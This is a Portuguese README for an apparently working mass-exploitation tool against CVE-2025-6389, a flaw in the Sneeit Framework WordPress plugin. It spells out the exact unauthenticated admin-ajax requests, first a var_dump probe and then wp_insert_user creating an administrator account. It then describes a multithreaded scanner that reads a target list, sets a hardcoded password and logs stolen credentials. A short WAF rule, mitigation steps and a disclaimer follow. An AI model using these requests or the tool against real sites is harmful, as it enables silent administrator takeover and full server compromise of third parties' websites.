
Sneeit Framework <= 8.3 - Execução Remota de Código Não Autenticada em sneeit_articles_pagination_callback
Sneeit Framework <= 8.3 - Execução Remota de Código Não Autenticada em sneeit_articles_pagination_callback
_______ ________ ___ ___ ___ _____ __ ____ ___ ___
/ ____\ \ / / ____| |__ \ / _ \__ \| ____| / /|___ \ / _ \ / _ \
| | \ \ / /| |__ ______ ) | | | | ) | |__ ______ / /_ __) | (_) | (_) |
| | \ \/ / | __|______/ /| | | |/ /|___ \______| '_ \|__ < > _ < \__, |
| |____ \ / | |____ / /_| |_| / /_ ___) | | (_) |__) | (_) | / /
\_____| \/ |______| |____|\___|/____/____/ \___/____/ \___/ /_/
📡 Não perca o próximo lançamento. Siga @KNxploited no Telegram — o canal definitivo para CVEs recém-divulgados, exploits funcionais e pesquisa de segurança de elite. Primeiro a saber. Primeiro a agir.
CVE-2025-6389 é uma vulnerabilidade de Execução Remota de Código com CVSS 9.8 Crítico encontrada no plugin Sneeit Framework para WordPress.
A falha existe na função sneeit_articles_pagination_callback(), que passa cegamente entrada fornecida pelo usuário para call_user_func() do PHP — um atacante não autenticado pode chamar qualquer função PHP com argumentos arbitrários, incluindo wp_insert_user, concedendo efetivamente a si mesmo acesso total de administrador ou executando qualquer código no servidor.
| Campo | Detalhes |
|---|---|
| ID CVE | CVE-2025-6389 |
| Plugin | Sneeit Framework (sneeit-framework) |
| Versões Afetadas | Todas as versões até e incluindo 8.3 |
| Tipo de Vulnerabilidade | Execução Remota de Código (RCE) |
| Vetor de Ataque | Rede — Nenhuma Autenticação Necessária |
| Pontuação CVSS 3.1 | 9.8 CRÍTICO |
| Vetor CVSS | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| Impacto | Comprometimento total do servidor / Assunção de controle de administrador |
| Pesquisador | Nxploited |
A causa raiz é o uso indevido de call_user_func() do PHP no manipulador AJAX do plugin:
// Registered without authentication check
add_action('wp_ajax_nopriv_sneeit_articles_pagination', 'sneeit_articles_pagination_callback');
function sneeit_articles_pagination_callback() {
$callback = $_POST['callback']; // ← User-controlled function name
$args = json_decode(stripslashes($_POST['args']), true); // ← User-controlled args
// Calling ANY PHP function with ANY arguments — zero validation
$result = call_user_func($callback, ...$args);
echo $result;
die();
}
Por que isso é crítico:
wp_ajax_nopriv_* = acessível por qualquer um, sem necessidade de logincall_user_func($callback, $args) = invocação de função arbitráriavar_dump, system, wp_insert_user, eval ou qualquer função PHP/WordPressPasso 1 — Sondagem / Identificação
──────────────────────────────────────────────────────────────────
POST /wp-admin/admin-ajax.php
action = sneeit_articles_pagination
callback = var_dump
args = ["test"]
Resposta Esperada → array(1) { [0]=> string(4) "test" }
↓
Confirma: call_user_func() está acessível e refletindo a saída
──────────────────────────────────────────────────────────────────
Passo 2 — Criação de Conta de Administrador
──────────────────────────────────────────────────────────────────
POST /wp-admin/admin-ajax.php
action = sneeit_articles_pagination
callback = wp_insert_user
args = {"user_login":"Nxploited_XXXX",
"user_pass":"xplpass",
"user_email":"...",
"role":"administrator"}
Resultado → Nova conta de administrador criada silenciosamente no alvo
↓
Acesso total ao painel de administração do WordPress alcançado ✔️
pip install requests rich
| Dependência | Propósito |
|---|---|
requests | Requisições HTTP com suporte a sessão/proxy |
rich | Painel de terminal ao vivo, painéis, progresso |
threading | Processamento concorrente de múltiplos alvos |
queue | Distribuição thread-safe de alvos |
Python 3.8+ necessário. Dicas de tipo usam sintaxe
tuple[...]introduzida em 3.9+ — use 3.9+ para melhor compatibilidade.
CVE-2025-6389/
├── CVE-2025-6389.py # Script de exploração principal
├── list.txt # URLs alvo — uma por linha
├── success_results.txt # Gerado automaticamente: alvos bem-sucedidos + credenciais
└── debug_responses/ # Gerado automaticamente: respostas brutas do servidor para depuração
└── <target>.resp.txt
Crie list.txt com uma URL por linha:
https://target1.com
https://target2.com
http://target3.com
URLs sem
http://ouhttps://são automaticamente prefixadas comhttp://.
python CVE-2025-6389.py
Você será solicitado:
Nome do arquivo de alvos (padrão list.txt): list.txt
Número de threads (padrão 10): 20
O script inicia um painel Rich em tempo real mostrando:
┌─────────────────────────────────────────────────────────────────────┐
│ [ASCII BANNER] │
├──────────────────────────────┬──────────────────────────────────────┤
│ Informação │ Estatísticas │
│ Uso: Coloque alvos em... │ Total de Alvos: 150 │
│ Threads: 20 │ Processados: 87 │
│ Senha: xplpass │ Sucessos: 12 │
│ Log de Sucesso: success... │ Falhas: 75 │
│ Diretório de Depuração: debug_responses │ Tempo Decorrido: 00:01:43 │
├──────────────────────────────┴──────────────────────────────────────┤
│ Resultados Recentes │
│ Hora Alvo Resultado │
│ 14:23:01 https://victim.com SUCESSO │
│ 14:23:03 https://example.net FALHA │
└─────────────────────────────────────────────────────────────────────┘
Exploits bem-sucedidos são salvos em success_results.txt:
https://victim.com | USUÁRIO: Nxploited_4821 | SENHA: xplpass | EMAIL: [email protected]
Respostas de depuração (para alvos com falha) são salvas em debug_responses/:
debug_responses/
└── https___victim.com.resp.txt ← Resposta bruta do servidor para análise
| Prompt | Padrão | Descrição |
|---|---|---|
| Arquivo de alvos | list.txt | Arquivo contendo URLs alvo |
| Número de threads | 10 (máx: 200) | Workers concorrentes — aumente para varreduras em lote |
| Senha | xplpass (hardcoded) | Senha definida para contas de administrador criadas |
| Formato do nome de usuário | Nxploited_XXXX | Gerado automaticamente com sufixo aleatório de 4 dígitos |
O exploit gera a seguinte assinatura de rede — útil para defensores e autores de regras WAF:
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
action=sneeit_articles_pagination&callback=<FUNCTION>&args=<JSON>
Regra WAF / IDS (Pseudocódigo):
IF request.method == POST
AND request.path == "/wp-admin/admin-ajax.php"
AND request.body CONTAINS "sneeit_articles_pagination"
AND request.body CONTAINS "callback"
THEN BLOQUEAR + ALERTAR
Se você for proprietário de site, desenvolvedor ou defensor, tome estas medidas imediatamente:
call_user_func()admin-ajax.php no nível do WAF/Firewallsneeit_articles_paginationESTA FERRAMENTA É FORNECIDA ESTRITAMENTE PARA FINS EDUCACIONAIS,
TESTES DE PENETRAÇÃO AUTORIZADOS E PESQUISA DE SEGURANÇA.
Ao baixar, executar ou modificar este script, você concorda explicitamente:
• Você tem autorização EXPLÍCITA E POR ESCRITO do proprietário de cada
sistema que testar. Sem exceções.
• Você está operando em um ambiente de laboratório controlado ou durante
um engajamento formalmente escopo e autorizado.
• Você NÃO irá implantar esta ferramenta contra qualquer sistema, rede ou
infraestrutura para a qual não tenha permissão legal para testar.
• Nxploited e todos os colaboradores assumem ZERO responsabilidade por
qualquer uso não autorizado, danos, perda de dados, ação legal ou
processo criminal decorrente do uso desta ferramenta.
O uso não autorizado deste exploit é uma ofensa criminal sob:
— Computer Fraud and Abuse Act (CFAA), EUA
— Computer Misuse Act (CMA), Reino Unido
— Diretiva da UE 2013/40/EU sobre Ataques a Sistemas de Informação
— E todas as leis nacionais e internacionais equivalentes de crimes cibernéticos.
USE COM RESPONSABILIDADE. HAQUEIE ETICAMENTE. DIVULGUE COM RESPONSABILIDADE.
| Nome | Nxploited (Khaled Alenazi) |
| Telegram | @KNxploited |
| GitHub | github.com/Nxploited |
🔔 Siga @KNxploited no Telegram O canal onde exploits reais são divulgados primeiro — CVEs, zero-days, PoCs, e pesquisa aprofundada de vulnerabilidades. Atualizado regularmente. Fique atento.